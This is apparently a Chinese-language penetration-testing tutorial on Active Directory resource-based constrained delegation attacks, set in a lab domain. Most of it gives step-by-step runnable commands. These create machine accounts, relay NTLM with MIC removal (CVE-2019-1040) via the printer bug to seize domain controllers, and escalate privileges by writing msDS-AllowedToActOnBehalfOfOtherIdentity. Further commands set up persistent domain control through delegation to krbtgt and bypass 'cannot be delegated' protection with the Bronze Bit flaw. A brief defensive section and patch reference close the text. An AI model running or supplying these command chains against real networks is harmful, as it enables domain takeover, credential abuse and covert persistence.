注意区别:
约束性委派 不能跨域进行委派,基于资源的约束性委派可以跨域和林
如果约束性委派,必须拥有 SeEnableDelegationPrivilege
权限,该特权是敏感的,通常仅授予域管理员。为了使用户/资源更加独立,Windows Server 2012 中引入了基于资源的约束委派。基于资源的约束性委派不需要域管理员权限去设置,而是把设置属性的权限赋予给了机器自身。基于资源的约束性委派允许资源配置受信任的帐户委派给他们。基于资源的约束性委派只能在运行 ·Windows Server 2012 及以上的域控制器·上配置,约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林。
约束性委派与基于资源的约束性委派配置差别
传统的约束委派是正向的,通过修改服务 A 的 msDS-AllowedToDelegateTo
属性,添加服务 B 的 SPN,设置约束委派对象(服务 B),服务 A 便可以模拟用户向域控制器请求访问服务 B 的 ST 服务票据。而基于资源的约束委派则是相反的,通过修改服务 B 的 msDS-AllowedToActOnBehalfOfOtherIdentity
属性,添加服务 A 的 SID,从而达到让服务 A 模拟用户访问 B 资源的目的。
基于资源的约束性委派攻击
该攻击由国外安全研究员 Elad Shami 提出:https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
无论服务账号的 userAccountControl
属性是否被设置为 TrustedToAuthForDelegation
值,服务自身都可以通过调用 S4U2Self 来为任意用户请求自身的服务票据。但是当没有设置该属性时,KDC 通过检查服务账号的 TrustedToAuthForDelegation
位和 msDS-AllowedToDelegateTo
这两个字段,发现没有被赋值,所以服务自身通过 S4U2Self 请求到的 ST 服务票据是不可转发的,因此不可转发的 ST 服务票据是无法通过 S4U2Proxy 转发到其他服务进行约束性委派认证的。但是在基于资源的约束委派过程中,不可转发的 ST 服务票据仍然可以通过 S4U2Proxy 转发到其他服务进行委派认证,并且最后服务还会返回一张可转发的 ST 服务票据。因此,如果我们能够在服务 B 上配置允许服务 A 的基于资源的约束性委派,那么就可以通过控制服务 A 使用 S4U2Self 向域控请求任意用户访问自身的服务票据,最后再使用 S4U2Proxy 转发此 ST 票据去请求访问服务 B 的可转发的 ST 服务票据,即可成功模拟任意用户访问服务 B 了。服务账号 A 可以以普通域用户的权限去创建。
通过利用基于资源的约束委派攻击,攻击者能够使普通域用户以域管理员身份访问远程计算机 CIFS 等服务,实现本地权限提升。但是仅仅是本地提权,并不能执行域管理员的其他操作。
基于资源的约束性委派攻击的两个条件
- 拥有服务 A 的权限(这里我们只需要拥有一个普通的域账号权限即可,普通的域账户默认可以创建最多十个机器账号)注意:maq!=0时,实战中,我多次遇到maq==0的时候,需要特殊手法绕过。
- 拥有在服务 B 上配置允许服务 A 的基于资源的约束委派的权限(即拥有修改服务 B 的
msDS-AllowedToActOnBehalfOfOtherldentity
属性的权限)
综上两个条件可以转换为拥有将机器 B 加入域的域用户的权限。因为将机器 B 加入域的域用户拥有修改 msDS-AllowedToActOn BehalfOfOtherldentity
属性的权限。
基于资源的约束性委派结合 NTLM Relay 接管域控 (CVE-2019-1040)
先在 pc02 上利用普通域用户权限新建一个机器账号 test1$
,利用 powershell 脚本:https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount test1$
# 或者也可以利用:https://github.com/Kevin-Robertson/Sharpmad
# Powermad 的 C# 版本,都方便 CobaltStrike 内存加载
# 创建机器账号命令:Sharpmad.exe MAQ -Action new -MachineAccount test1 -MachinePassword pass@1234!
test1
pass@1234!
# addcomputer.py 添加用户
python3 addcomputer.py -computer-name machine1 -computer-pass 1qaz@WSX -dc-ip 192.168.11.11 attack.cn/zhang:321.com -method SAMR -debug
machine1
1qaz@WSX
随意输入一个密码,例如:test1,在域控 dc
上面可以看到已经创建成功
绕过 NTLM MIC 校验 + 打印机漏洞 + NTLM Relay + 基于资源的约束性委派组合攻击,利用 impacket python 脚本绕过 NTLM MIC 校验进行监听,监听 IP 192.168.11.11
是域控 dc
的 IP
python3 ntlmrelayx.py -t ldap://192.168.11.11 -smb2support --remove-mic --delegate-access --escalate-user machine1\$ -debug
# --remove-mic 移除mic签名
# --escalate-user 启用委派攻击
利用打印机漏洞,通过普通有效域账号 smb 连接辅域控 S-DC
,并触发 SpoolService 服务错误,辅域控将通过 smb 回连至攻击者主机
域控 DC
IP: 192.168.11.11
攻击者 IP: 192.168.11.6
域内主机pc02:192.168.11.16
利用脚本:https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
# zhang为普通域用户
# 使用辅DC去触发中继,给机器账号赋值属性
# 192.168.11.13 为DC02
python3 printerbug.py attack/zhang:321.com@192.168.11.13 192.168.11.6
成功触发, test1$
这个机器账号已经有了 dc
的了基于资源的约束性委派
得到服务票据,并导入后通过 SMB 连接。需要提前在本地 /etc/hosts
文件中指定对应主机名的 IP,或者将 /etc/resolv.conf
文件中 DNS 服务器指定为域控
# 注意:用哪个触发的基于委派的机器,就用哪个去请求票据
# 这里我们使用192.168.11.16(pc02)去触发,所以下面getST就是用pc02.attack.cn,但是获取到的并不是dc的权限,只局限于那台主机,所以这里我们要使用`辅域控`去触发,这样我们就能获取到dc的权限!!!写到这里才发现是误区,所以需要辐DC去触发,或者DC触发。
sudo python3 getST.py -spn cifs/pc02.attack.cn attack/machine1\$:1qaz@WSX -dc-ip 192.168.11.11 -impersonate administrator
# `辅域控`去触发
sudo python3 getST.py -spn cifs/dc02.attack.cn attack/machine2\$:1qaz@WSX -dc-ip 192.168.11.11 -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -k -no-pass dc02.attack.cn
上面是使用辅助域控
触发的,同时DC02赋予了机器账号machine2委派的属性,所以得到了dc02的域控的权限,反之,我们使用dc[192.168.11.11]去触发,另外使用dc02-ldap去监听中继,给aaa1账号赋予dc的权限,那么直接获得的也是dc的权限,其实拿下哪一个dc所得的权限都是一样的
python3 addcomputer.py -computer-name aaa1 -computer-pass 1qaz@WSX -dc-ip 192.168.11.11 attack.cn/zhang:321.com -method SAMR -debug
python3 ntlmrelayx.py -t ldap://192.168.11.11 -smb2support --remove-mic --delegate-access --escalate-user aaa1\$ -debug
python3 printerbug.py attack/zhang:321.com@192.168.11.13 192.168.11.6
sudo python3 getST.py -spn cifs/dc.attack.cn attack/aaa1\$:1qaz@WSX -dc-ip 192.168.11.11 -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -k -no-pass dc.attack.cn
基于资源的约束性委派进行本地提权
有两个场景:
- 如果拿到将机器加入域的账号的权限,则能够拿到通过该账号加入域的所有机器的 system 权限。
补充:这里也就是复现到中间感觉比较鸡肋的地方,通过资源的约束性委派,确实可以拿到域内机器的system权限,这样看来,也不算鸡肋!!很不错的tips。
- 如果拿到了 Account Operators 组(账户操作组)内用户权限的话,则可以拿到除域控外所有机器的 system 权限。
场景一
需要先查询将机器加入域的账号。可以利用:https://github.com/Kevin-Robertson/Sharpmad
已编译版下载:https://oss.attack.info/file/Sharpmad.exe
# 也可以用来查询maq剩余多少
Sharpmad.exe MAQ -Action GetCreator
machine1、2、3、4 和 aa、aa1这6台机器是由普通域用户 zhang 加入域的,zhang 用户也不在本地管理员组中
还是利用 Powermad.ps1 脚本新建一个密码为 test 的机器账号 test2
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount test2 -Password $(ConvertTo-SecureString "test" -AsPlainText -Force)
已经成功创建,可以查看
net group "domain computers" /domain
配置 test2 到 pc01 的基于资源的约束性委派,利用 PowerView 修改 pc01 的 msDS-AllowedToActOnBehalfOfOtherIdentity
属性的值。需要添加的 msDS-AllowedToActOnBehalfOfOtherIdentity
属性的 value 是 O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;test2 的 sid)
组成的。test2 的 sid 通过 PowerView 查询:
import-module .\PowerView.ps1
Get-DomainComputer test2 | select objectSid
# objectsid
# ---------
# S-1-5-21-2335421620-514153290-2844484534-1121
即修改 value 的命令如下
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2335421620-514153290-2844484534-1121)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer pc01| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
其他相关命令
# 验证是否成功添加
Get-DomainComputer pc01 -Properties msds-allowedtoactonbehalfofotheridentity
# 清除 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值
Set-DomainObject pc01 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
配置完 msDS-AllowedToActOnBehalfOfOtherIdentity
属性之后就可以利用 impacket 通过基于资源的约束性委派去攻击目标主机了。提前在本地 /etc/hosts
文件中指定对应主机名的 IP,或者将 /etc/resolv.conf
文件中 DNS 服务器指定为域控。aaa1 为刚才创建的机器账号,其密码是 1qaz@WSX。
sudo python3 getST.py -dc-ip dc.attack.cn attack.cn/aaa1\$:1qaz@WSX -spn cifs/pc02.attack.cn -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k pc01.attack.cn
成功获得 pc02 system 权限。
场景二
先利用 Adfind.exe 查询 Account Operators 组(账户操作组)的用户, -h
后是域控的 IP
Adfind.exe -h 192.168.11.11:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=attack,DC=cn member
有一个 test 用户,而且 test 用户已拿下,那就可以拿下除域控外的所有主机权限。其余操作和上面场景一一致:创建一个机器账号并配置该机器账号到需要攻击主机的基于资源的约束性委派,然后利用 impacket 脚本或者 Rubeus 实现票据获取和攻击。
利用基于资源的约束性委派打造变种黄金票据
当拿到域控后,需要做权限维持,假设服务 B 为 krbtgt,服务 A 为我们控制的一个账号。配置服务 A 到服务 B 的基于资源的约束性委派, 那么我们控制的账户就可以获取 KDC (Key Distribution Centre) 服务的 ST 服务票据(也就是 TGT 认购权证)。于是我们就可以伪造任何权限用户的 TGT 认购权证,就相当于打造了一个变种的黄金票据。
利用 Powermad.ps1 脚本新建一个密码为 test3 的机器账号,密码为 test
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount test3 -Password $(ConvertTo-SecureString "test" -AsPlainText -Force)
再配置 test3 到 krbtgt 的基于资源的约束性委派
# 配置
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test3$
# 查询
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
配置完成后,不管域管用户密码如何改变,我们都对该域有完全的控制权限。
sudo python3 getST.py -dc-ip 192.168.11.11 -spn krbtgt -impersonate administrator attack.cn/test3\$:test export KRB5CCNAME=administrator.ccache python3 smbexec.py -no-pass -k administrator@dc.attack.cn -dc-ip 192.168.11.11
域委派攻击的防范措施
- 高权限的用户,设置不能被委派
- 主机账号需设置委派时,只能设置为约束性委派
- Windows 2012 R2 及更高的系统建立了受保护的用户组,组内用户不允许被委派,这是有效的手段。受保护的用户组, 当这个组内的用户登录时(windows 2012 R2 域服务器,客户端必须为 Windows 8.1 或之上)不能使用 NTLM 认证;Kerberos 预认证时不能使用 DES 或者 RC4 等加密算法
这样设置看起来可能安全了一些,但是也存在绕过。利用 Kerberos Bronze Bit (CVE-2020-17049) 这个逻辑漏洞实现。
KDC 对约束性委派和基于资源的约束性委派 (RBCD) 校验过程中对于通过 S4U2Self 请求的服务票据的验证过程如下:
KDC 首先会检查通过 S4U2Self 请求,请求的票据的 forwardable 标志位
- 如果该位为 0,也就是不可转发,那么就会再验证是否是 RBCD
- 如果不是 RBCD,则不返回票据
- 如果是 RBCD,则再检查被委派的用户是否设置了不能被委派
- 如果设置了,则不返回票据
- 如果没设置,则返回票据
- 如果该位为 1,也就是可转发,那么就会再验证两者之间是否有委派配置
- 如果两者有委派配置,则返回票据
- 如果两者无委派配置,则不返回票据
CVE-2020-17049 这个漏洞就是利用这一点,请求过程中手动修改请求的票据的 forwardable 标志位为 1,从而绕过检查进行攻击。
如下域控中 administrator 用户设置「敏感用户,不能被委派」
如果现在按照之前的命令去设置基于资源的约束性委派,就会不成功
getST.py
中有个 -force-forwardable
参数可以利用 CVE-2020-17049 漏洞来进行攻击。如下图成功获得 administrator 的 ST 服务票据
sudo python3 getST.py -dc-ip 192.168.11.11 -spn krbtgt -impersonate administrator attack.cn/test3\$:test -force-forwardable
要避免该问题还需要在此基础上打上 CVE-2020-17049 的漏洞补丁,补丁编号是:KB4598347,添加了一个票据签名,进行防篡改。
补丁地址:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17049
参考
- https://ruyueattention.github.io/2022/06/24/%E5%9F%9F%E5%A7%94%E6%B4%BE/
- https://blog.zjun.info/tech/kerberos-domain-delegation-attack/
- https://www.bilibili.com/video/BV1564y1Y7HF
- https://mp.weixin.qq.com/s/yqiqiY6fMd9gLokDYM4vRw
- https://www.freebuf.com/articles/network/290860.html
- https://docs.microsoft.com/zh-cn/windows-server/security/kerberos/kerberos-constrained-delegation-overview
- https://y4er.com/post/kerberos-unconstrained-delegation/
- https://shanfenglan.blog.csdn.net/article/details/108777247
- https://daiker.gitbook.io/windows-protocol/kerberos/2
- https://shanfenglan.blog.csdn.net/article/details/110633298
- https://mp.weixin.qq.com/s/JQNwQH6eJ2L04jz60M8hiw
- https://xz.aliyun.com/t/7217
- https://www.cnblogs.com/mrhonest/p/14306539.html
- https://blog.csdn.net/blue_fantasy/article/details/122601984
- https://docs.microsoft.com/zh-cn/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13
- https://docs.microsoft.com/zh-cn/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a
- https://xz.aliyun.com/t/7454
- https://y4er.com/post/kerberos-constrained-delegation/
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- https://y4er.com/post/kerberos-resource-based-constrained-delegation/
- https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw